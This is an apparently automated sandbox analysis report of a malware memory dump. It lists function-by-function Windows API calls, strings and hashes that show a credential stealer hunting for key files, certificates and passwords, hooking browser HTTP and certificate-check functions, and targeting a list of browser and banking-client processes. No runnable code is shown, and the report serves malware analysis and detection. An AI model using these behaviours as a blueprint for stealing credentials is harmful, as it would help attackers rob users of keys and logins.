                                                                                                                                                                                                                      • Opcode ID: a74f6173ca79187fbd36f4310599ea175c002e4e3c07ce2a4d0af2868755e583
                                                                                                                                                                                                                      • Instruction ID: 4a3643c10103314026f1604b8ab7b1ee003e62ebaa705cbc2fa828261dc42451
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a74f6173ca79187fbd36f4310599ea175c002e4e3c07ce2a4d0af2868755e583
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D0D126709042698FDB268F28D858BEA7BE5EF4A301F14C5D9ECC5D7242DB71D988CB90
                                                                                                                                                                                                                      Function 02713F50 Relevance: 56.4, APIs: 24, Strings: 8, Instructions: 367sleepCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • FindWindowW.USER32(00000000,0273A968), ref: 02713F68
                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8), ref: 02713F79
                                                                                                                                                                                                                      • FindWindowW.USER32(00000000,0273A968), ref: 02713F82
                                                                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 02713F96
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,core.exe), ref: 02713FAE
                                                                                                                                                                                                                      • PathFileExistsA.SHLWAPI(?), ref: 02713FD9
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\data\id.dbf), ref: 0271400F
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(0274D19C), ref: 02714037
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 02714075
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 0271407F
                                                                                                                                                                                                                      • #680.SHELL32 ref: 02714087
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 02714098
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 0271409F
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Path$ErrorFileFindLastWindow$#680BackslashCreateDirectoryExistsFolderMakeModuleNameSleepSystem
                                                                                                                                                                                                                      • String ID: Local\{EAF7722F-8989-4fe1-977D-95CD777C0214}$\data\id.dbf$core.exe$data\id.dbf$keys%i.zip$keys.zip$path%i.txt$path.txt
                                                                                                                                                                                                                      • API String ID: 970170284-643081521
                                                                                                                                                                                                                      • Opcode ID: 87e7a518d51284d41fede94cc4c29a94dfa7ab7613e3cc41644461ed8f98926e
                                                                                                                                                                                                                      • Instruction ID: e08e0372511df1242b5796b5537da061787232efc3f6ed4a19d46a380cf377ca
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 87e7a518d51284d41fede94cc4c29a94dfa7ab7613e3cc41644461ed8f98926e
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C9D13D7090074A9BDB16CB3C9869BEB7BE5BF4D301F1489E4E986E7240DB70D944CB50
                                                                                                                                                                                                                      Function 0270D120 Relevance: 56.3, APIs: 24, Strings: 8, Instructions: 346fileCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT ref: 0270D13F
                                                                                                                                                                                                                      • memset.MSVCRT ref: 0270D161
                                                                                                                                                                                                                      • GetLogicalDriveStringsA.KERNEL32(00000104,?,?,00000000,0000040C,00000103,?,75B07390), ref: 0270D176
                                                                                                                                                                                                                      • SetErrorMode.KERNEL32(00000001), ref: 0270D18F
                                                                                                                                                                                                                      • GetDriveTypeA.KERNEL32(?), ref: 0270D1D8
                                                                                                                                                                                                                      • SetCurrentDirectoryA.KERNEL32(?), ref: 0270D1EB
                                                                                                                                                                                                                      • FindFirstFileA.KERNEL32(?,?), ref: 0270D24D
                                                                                                                                                                                                                      • SetErrorMode.KERNEL32(?), ref: 0270D563
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: DriveErrorModememset$CurrentDirectoryFileFindFirstLogicalStringsType
                                                                                                                                                                                                                      • String ID: *.00*$.txt$.zip$26EE256C$asus$found.$keys$path
                                                                                                                                                                                                                      • API String ID: 989413159-3231869692
                                                                                                                                                                                                                      • Opcode ID: faa94a108394ba3a575725f5704daf6cbcedb7d748f9a422fe18eebf2886cf4c
                                                                                                                                                                                                                      • Instruction ID: 2709ca5bed833afba802a254d6da58eb7120c8057de33417157f8338b2f32ba0
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: faa94a108394ba3a575725f5704daf6cbcedb7d748f9a422fe18eebf2886cf4c
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 84C18F71508346CFC726CB6494A8BABBBE5EF89305F548A5DF8C6C7280EB71D508CB91
                                                                                                                                                                                                                      Function 0270E6B0 Relevance: 56.3, APIs: 24, Strings: 8, Instructions: 346fileCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT ref: 0270E6CF
                                                                                                                                                                                                                      • memset.MSVCRT ref: 0270E6F1
                                                                                                                                                                                                                      • GetLogicalDriveStringsA.KERNEL32(00000104,?,?,00000000,0000040C,00000103), ref: 0270E706
                                                                                                                                                                                                                      • SetErrorMode.KERNEL32(00000001), ref: 0270E71F
                                                                                                                                                                                                                      • GetDriveTypeA.KERNEL32(?), ref: 0270E768
                                                                                                                                                                                                                      • SetCurrentDirectoryA.KERNEL32(?), ref: 0270E77B
                                                                                                                                                                                                                      • FindFirstFileA.KERNEL32(?,?), ref: 0270E7DD
                                                                                                                                                                                                                      • SetErrorMode.KERNEL32(?), ref: 0270EAF3
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: DriveErrorModememset$CurrentDirectoryFileFindFirstLogicalStringsType
                                                                                                                                                                                                                      • String ID: *.00*$.txt$.zip$26EE25DE$asus$found.$keys$path
                                                                                                                                                                                                                      • API String ID: 989413159-1395830651
                                                                                                                                                                                                                      • Opcode ID: fe2b4245798385c9273ed7c9f9d6c0fa28679c30e8c4e70ff2cff81bfd9063dc
                                                                                                                                                                                                                      • Instruction ID: 00ae68c6d4bcf4f4c0550bd2ca0846eee2a131b13b37d6a8dc3a65d04f948c83
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: fe2b4245798385c9273ed7c9f9d6c0fa28679c30e8c4e70ff2cff81bfd9063dc
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BEC1C4719083468FC715CB3494A8BABBBE5BF89305F448E6DE9C6C7281EB70D508C791
                                                                                                                                                                                                                      Function 02701190 Relevance: 45.6, APIs: 14, Strings: 12, Instructions: 137libraryloadermemoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • LoadLibraryExA.KERNEL32(Crypt32.dll,00000000,00000000,74DEF550,00000000), ref: 027011AE
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,CertVerifyCertificateChainPolicy), ref: 027011C4
                                                                                                                                                                                                                      • VirtualProtect.KERNEL32(00000000,00000006,00000040,?,74DF1620), ref: 027011DC
                                                                                                                                                                                                                      • VirtualProtect.KERNEL32(00000000,00000006,?,?), ref: 027011FE
                                                                                                                                                                                                                      • LoadLibraryExA.KERNEL32(Wininet.dll,00000000,00000000), ref: 0270120A
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,HttpSendRequestA), ref: 02701220
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,HttpSendRequestW), ref: 0270123C
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,HttpSendRequestExA), ref: 02701258
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,HttpSendRequestExW), ref: 02701274
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,InternetQueryDataAvailable), ref: 02701290
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,InternetReadFile), ref: 027012AC
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,InternetReadFileExA), ref: 027012C8
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,InternetReadFileExW), ref: 027012E4
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,InternetCloseHandle), ref: 02701300
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: AddressProc$LibraryLoadProtectVirtual
                                                                                                                                                                                                                      • String ID: CertVerifyCertificateChainPolicy$Crypt32.dll$HttpSendRequestA$HttpSendRequestExA$HttpSendRequestExW$HttpSendRequestW$InternetCloseHandle$InternetQueryDataAvailable$InternetReadFile$InternetReadFileExA$InternetReadFileExW$Wininet.dll
                                                                                                                                                                                                                      • API String ID: 1705253364-835984666
                                                                                                                                                                                                                      • Opcode ID: 736e49a20375b81efeefa82b3def1be57bd7248b126556b467cb916bbaaaa539
                                                                                                                                                                                                                      • Instruction ID: 8306edac13d51bc63321c8ab7d7790ed8eb05181c26f9feb148fe204962fafae
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 736e49a20375b81efeefa82b3def1be57bd7248b126556b467cb916bbaaaa539
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 61315CF2B81326F5FA2266754C86F9F1BDD5F04B94F600110FA06F21C2EBE5E6098969
                                                                                                                                                                                                                      Function 026F1170 Relevance: 44.0, APIs: 21, Strings: 4, Instructions: 203memorythreadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000103), ref: 026F118E
                                                                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(00000000,00000000,00000104,74DEF570), ref: 026F11AD
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000,java), ref: 026F11C5
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000,.exe), ref: 026F11DB
                                                                                                                                                                                                                      • StrStrIW.SHLWAPI(?,.p12,00000000), ref: 026F11FF
                                                                                                                                                                                                                      • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 026F1221
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,?), ref: 026F123E
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 026F1245
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,?), ref: 026F1255
                                                                                                                                                                                                                      • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 026F1271
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,0270B4B0,00000000,00000000,00000000), ref: 026F1285
                                                                                                                                                                                                                      • StrStrIW.SHLWAPI(?,serverkey.dat,00000000), ref: 026F12A4
                                                                                                                                                                                                                      • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 026F12D5
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,?), ref: 026F12F2
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 026F12F9
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,?), ref: 026F1309
                                                                                                                                                                                                                      • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 026F1325
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,0270EB30,00000000,00000000,00000000), ref: 026F1339
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,027101A0,00000000,00000000,00000000,?,?,?), ref: 026F1376
                                                                                                                                                                                                                        • Part of subcall function 0270B410: PathAddBackslashA.SHLWAPI(26ee2538), ref: 0270B437
                                                                                                                                                                                                                        • Part of subcall function 0270B410: PathFileExistsA.SHLWAPI(?), ref: 0270B4A0
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 026F138E
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 026F139F
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: ByteCharHeapMultiWide$CreateThreadmemset$AllocFileHandlePathProcess$BackslashCloseExistsInformationModuleName
                                                                                                                                                                                                                      • String ID: .exe$.p12$java$serverkey.dat
                                                                                                                                                                                                                      • API String ID: 183229269-3502489836
                                                                                                                                                                                                                      • Opcode ID: b34e142d0004a7c6c7b8a514c14464920a2a8432698d9590f7921c98ae1906ea
                                                                                                                                                                                                                      • Instruction ID: 4f0af41bec5d9a1307388ef5d1b6b0b40095986c5770723549b6707597f3553b
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b34e142d0004a7c6c7b8a514c14464920a2a8432698d9590f7921c98ae1906ea
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1D51F672E85325FAFF715A608C49FAB3E5CAF06B95F544244BE08A52C0DBB09440CAA0
                                                                                                                                                                                                                      Function 02709E40 Relevance: 43.9, APIs: 23, Strings: 2, Instructions: 161threadnetworkCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: ExitThread$Startupsocket
                                                                                                                                                                                                                      • String ID: login$pass
                                                                                                                                                                                                                      • API String ID: 1705285421-2248183487
                                                                                                                                                                                                                      • Opcode ID: a0bedc6bf7267dcc68154d6063fdae343e89bf20e8d21c78b2a0b4f284de971c
                                                                                                                                                                                                                      • Instruction ID: 8cbc1efff9f03be284b47dd4956d28af1833e5e36b15487d28bee49336ea4a87
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a0bedc6bf7267dcc68154d6063fdae343e89bf20e8d21c78b2a0b4f284de971c
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A3515E76988310EFD300DF64D884B6ABBE5BB8C716F408E1DFA65972D0E770A514CB62
                                                                                                                                                                                                                      Function 0270CE10 Relevance: 40.5, APIs: 17, Strings: 6, Instructions: 248COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                        • Part of subcall function 02714BF0: memset.MSVCRT(?,00000000,00000124,?,75B07390,?), ref: 02714C14
                                                                                                                                                                                                                        • Part of subcall function 02714BF0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,75B07390,?), ref: 02714C1F
                                                                                                                                                                                                                      • OpenProcess.KERNEL32(001FFFFF,00000000,00000000,ctunnel.exe,?,75B07390,?), ref: 0270CE3C
                                                                                                                                                                                                                      • GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104), ref: 0270CE5B
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 0270CE6D
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0270CE7E
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE256C), ref: 0270CEA7
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 0270CEE1
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 0270CEEB
                                                                                                                                                                                                                      • #680.SHELL32 ref: 0270CEF3
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 0270CF04
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 0270CF0B
                                                                                                                                                                                                                      • GetFileAttributesA.KERNEL32(?), ref: 0270CF41
                                                                                                                                                                                                                      • SetCurrentDirectoryA.KERNEL32(?), ref: 0270CF80
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE256C,?,?), ref: 0270CFC7
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE256C,ctunnel.exe,?,75B07390,?), ref: 0270D0A7
                                                                                                                                                                                                                      • PathFileExistsA.SHLWAPI(?), ref: 0270D109
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Path$BackslashFile$CreateDirectoryErrorHandleLast$#680AttributesCloseCurrentExistsFolderInformationMakeModuleNameOpenProcessSnapshotSystemToolhelp32memset
                                                                                                                                                                                                                      • String ID: 26EE256C$\$ctunnel.exe$ctunnel.zip$pass.log$path_ctunnel.txt
                                                                                                                                                                                                                      • API String ID: 2170579450-3903224064
                                                                                                                                                                                                                      • Opcode ID: 815410a1eceff660780e4549cc4159af551b4acc1d0d84951c55d617161d045c
                                                                                                                                                                                                                      • Instruction ID: c3f60bd98c40e813d6c30169901153245edda9dfb2b1ce0bd665eed8a04f1d46
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 815410a1eceff660780e4549cc4159af551b4acc1d0d84951c55d617161d045c
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C2912871904749CFCB22CB649898BE77BE4EF4A301F14C699E889C7281DB70994DCB90
                                                                                                                                                                                                                      Function 026F7680 Relevance: 40.5, APIs: 22, Strings: 1, Instructions: 215memoryfilestringCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,0000000F,?,0274D098,?), ref: 026F76BB
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 026F76C2
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,0000000F), ref: 026F76DA
                                                                                                                                                                                                                      • lstrcpynA.KERNEL32(00000000,00000000,00000104), ref: 026F76E9
                                                                                                                                                                                                                      • FindFirstFileA.KERNEL32(00000000,?), ref: 026F7711
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$AllocFileFindFirstProcesslstrcpynmemset
                                                                                                                                                                                                                      • String ID: \*.*
                                                                                                                                                                                                                      • API String ID: 2617121151-1173974218
                                                                                                                                                                                                                      • Opcode ID: bf05e39364e52a22019bb26f5fb2c0b37bdb8406710b5a2781d9fefbc948e784
                                                                                                                                                                                                                      • Instruction ID: 1b3d5c633926db5d5a3a2dfe0ae5d8f6f1ccfe5f21a9f4adace5bdcd89bc226c
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: bf05e39364e52a22019bb26f5fb2c0b37bdb8406710b5a2781d9fefbc948e784
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5A6139B19043055BCB128F349C98FB7BFAAAF4A355F088A54FA9287381E731D409C790
                                                                                                                                                                                                                      Function 026F3610 Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 107libraryloaderCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000103), ref: 026F362E
                                                                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(00000000,00000000,00000104), ref: 026F3644
                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(kernel32.dll,74DF2F70,00000000), ref: 026F3667
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 026F3679
                                                                                                                                                                                                                      • GetCurrentProcess.KERNEL32(00000000), ref: 026F3685
                                                                                                                                                                                                                      • #680.SHELL32 ref: 026F3694
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000,\svchost.exe), ref: 026F36AA
                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 026F36C4
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 026F36D0
                                                                                                                                                                                                                      • GetCurrentProcess.KERNEL32(00000000), ref: 026F36DC
                                                                                                                                                                                                                      • #680.SHELL32 ref: 026F36F1
                                                                                                                                                                                                                      • PathFindFileNameA.SHLWAPI(00000000), ref: 026F36FE
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex,00000000), ref: 026F370A
                                                                                                                                                                                                                      • #680.SHELL32 ref: 026F3714
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000,\winlogon.exe), ref: 026F3726
                                                                                                                                                                                                                      • #680.SHELL32 ref: 026F3730
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000,\explorer.exe), ref: 026F3742
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      • iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex, xrefs: 026F3705
                                                                                                                                                                                                                      • IsWow64Process, xrefs: 026F3673, 026F36CA
                                                                                                                                                                                                                      • \svchost.exe, xrefs: 026F369E
                                                                                                                                                                                                                      • \winlogon.exe, xrefs: 026F371A
                                                                                                                                                                                                                      • \explorer.exe, xrefs: 026F3736
                                                                                                                                                                                                                      • kernel32.dll, xrefs: 026F365B, 026F36B8
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: #680$Module$AddressCurrentFileHandleNameProcProcess$FindPathmemset
                                                                                                                                                                                                                      • String ID: IsWow64Process$\explorer.exe$\svchost.exe$\winlogon.exe$iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex$kernel32.dll
                                                                                                                                                                                                                      • API String ID: 1685953883-2095515203
                                                                                                                                                                                                                      • Opcode ID: 5b8ba94902959f60dea41c08589c2e469a10605b56ebce62bb9efb3a2a4104f2
                                                                                                                                                                                                                      • Instruction ID: a25cc04452af0c7d259dd6a7e12b544cd4121d41ced27032aeacd1c45aa83d9c
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5b8ba94902959f60dea41c08589c2e469a10605b56ebce62bb9efb3a2a4104f2
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A131D6B1E41359E7EFA09BB58C48BDE7BAC6F08B0AF808494E645D3340EFB0D5548B64
                                                                                                                                                                                                                      Function 0271DA50 Relevance: 35.3, APIs: 14, Strings: 6, Instructions: 297stringCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,0000013C), ref: 0271DA71
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,0000024C), ref: 0271DA8C
                                                                                                                                                                                                                      • SHGetSpecialFolderPathA.SHELL32(00000000,?,?,00000000), ref: 0271DB7A
                                                                                                                                                                                                                      • strchr.MSVCRT(Desk,0000005C,?,00000000), ref: 0271DB89
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
